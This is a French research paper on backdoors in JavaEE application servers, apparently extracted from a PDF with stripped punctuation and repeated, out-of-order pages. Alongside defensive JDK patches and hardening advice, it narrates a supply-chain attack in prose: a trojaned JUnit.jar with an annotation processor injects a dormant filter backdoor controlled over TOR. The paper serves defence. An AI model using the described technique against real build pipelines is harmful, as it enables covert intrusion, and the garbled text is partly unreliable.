Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive

P Prados 443

Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access

Les logs indiquent les privileges accordes mais sont difficiles a interpreter

access access allowed (javalangRuntimePermission accessDeclaredMembers)

access access allowed(javaioFilePermissionwebappsbackdoorjee -sample

WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation

MethodHandlerAdapterBeanInfoclass read)access access denied (javalang

RuntimePermission defineClassInPackagejavalang)

Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir

Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques

Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo

Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration

La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)

Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active

Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en

ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation

16 httpmacaron-policygooglecodecom

444 Porte derobee dans les serveurs drsquoapplications JavaEE

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

Il est preferable drsquoutiliser les patchs proposes

Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite

Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail

7 Scenario du pire

Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible

Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy

Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production

P Prados 445

La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur

Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources

Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet

En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles

Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau

Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement

446 Porte derobee dans les serveurs drsquoapplications JavaEE

dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte

Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures

Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment

Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde

Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui

Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente

De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal

P Prados 447

Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet

Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee

8 Conclusion

Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder

httpmacarongooglecodecom

Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement

A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone

ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger

les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter

  • Porte deacuterobeacutee dans les serveurs dapplications JavaEE
  • P Prados

438 Porte derobee dans les serveurs drsquoapplications JavaEE

55 Reduction du risque des META-INFservices

La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation

Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant

Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface

Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader

if (SystemgetSecurityManager ()=null)

final Permission perm=

new ServicePermission(servicegetName ())

AccessControllerdoPrivileged(

new PrivilegedAction ltObject gt()

public Object run()

if (clazzgetProtectionDomain ()implies(perm))

throw new AccessControlException(

install service denied perm perm)

return null

)

Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin

Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader

De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants

ndash comsunndash orgrelaxingdatatype

ndash sunmisc

P Prados 439

Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees

j2sesrc javautilServiceLoaderjava | 42 +-

j2sesrc javautilServicePermissionjava | 74 ++++

j2sesrc javaxxmlbindContextFinderjava | 66 ---

j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----

j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12

j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----

j2sesrc javaxxmlparsersSAXParserFactoryjava | 17

j2sesrc javaxxmlsoapFactoryFinderjava | 39 --

j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----

j2sesrc javaxxmltransformFactoryFinderjava | 86 ----

j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +

j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--

j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------

j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --

15 files changed 283 insertions (+) 646 deletions(-)

Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet

grant

permission javautilServicePermission

javaxxmlparsersSAXParserFactory

En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ServiceLocator -6jar

Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente

Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat

440 Porte derobee dans les serveurs drsquoapplications JavaEE

56 Reduction du risque des ResourcesBundles

Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles

Fig 15 Nouveau RessourceBundle

La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe

Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang

3Ajava

Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle

$ java -Xbootclasspathppatch -ResourceBundle -5 jar

Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources

static final ResourceBundleControl securityControl =

new ResourceBundleControl ()

private ConcurrentHashMap ltString String gt

cacheType=

new ConcurrentHashMap ltString String gt()

public List ltString gt getFormats(String baseName)

return CollectionsunmodifiableList(

P Prados 441

ArraysasList(securityorder))

public ResourceBundle newBundle(String baseName

Locale locale

String format ClassLoader loader

boolean reload)

throws IllegalAccessException

InstantiationException IOException

ResourceBundle bundle=null

if (formatequals(securityorder))

String lastFormat=cacheTypeget(baseName)

if (lastFormat ==null)

bundle=supernewBundle(baseName locale

javaproperties

loader reload)

if (bundle =null)

cacheTypeput(baseName javaproperties)

else

cacheTypeput(baseName javaclass)

bundle=supernewBundle(baseName locale

javaclass

loader reload)

else

bundle=supernewBundle(baseName locale

lastFormat

loader reload)

return bundle

public boolean needsReload(String baseName

Locale locale

String format

ClassLoader loader

ResourceBundle bundle

long loadTime)

boolean result=

superneedsReload(baseName locale

format loader bundle loadTime)

if (result)

cacheTyperemove(baseName)

return result

Il doit etre utilise a chaque invocation de RessourceBundle

442 Porte derobee dans les serveurs drsquoapplications JavaEE

ResourceBundlegetBundle(Messages securityControl)getString(key)

Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes

Un diffstat indique lrsquoetendu des modifications

ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------

1 file changed 58 insertions (+) 50 deletions(-)

Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ResourceBundle -6 jar

Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties

mv sampleproperties sampleprop

public static class sample extends PropertyResourceBundle

public sample () throws IOException

super(sampleclassgetResourceAsStream(

rsquorsquo+sampleclassgetName ()

replace(rsquorsquorsquorsquo)+prop))

6 Conseils pour se proteger

Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques

Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive

P Prados 443

Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access

Les logs indiquent les privileges accordes mais sont difficiles a interpreter

access access allowed (javalangRuntimePermission accessDeclaredMembers)

access access allowed(javaioFilePermissionwebappsbackdoorjee -sample

WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation

MethodHandlerAdapterBeanInfoclass read)access access denied (javalang

RuntimePermission defineClassInPackagejavalang)

Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir

Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques

Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo

Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration

La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)

Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active

Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en

ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation

16 httpmacaron-policygooglecodecom

444 Porte derobee dans les serveurs drsquoapplications JavaEE

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

Il est preferable drsquoutiliser les patchs proposes

Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite

Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail

7 Scenario du pire

Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible

Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy

Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production

P Prados 445

La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur

Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources

Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet

En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles

Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau

Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement

446 Porte derobee dans les serveurs drsquoapplications JavaEE

dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte

Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures

Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment

Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde

Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui

Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente

De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal

P Prados 447

Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet

Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee

8 Conclusion

Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder

httpmacarongooglecodecom

Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement

A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone

ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger

les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter

  • Porte deacuterobeacutee dans les serveurs dapplications JavaEE
  • P Prados

P Prados 439

Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees

j2sesrc javautilServiceLoaderjava | 42 +-

j2sesrc javautilServicePermissionjava | 74 ++++

j2sesrc javaxxmlbindContextFinderjava | 66 ---

j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----

j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12

j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----

j2sesrc javaxxmlparsersSAXParserFactoryjava | 17

j2sesrc javaxxmlsoapFactoryFinderjava | 39 --

j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----

j2sesrc javaxxmltransformFactoryFinderjava | 86 ----

j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +

j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--

j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------

j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --

15 files changed 283 insertions (+) 646 deletions(-)

Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet

grant

permission javautilServicePermission

javaxxmlparsersSAXParserFactory

En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle

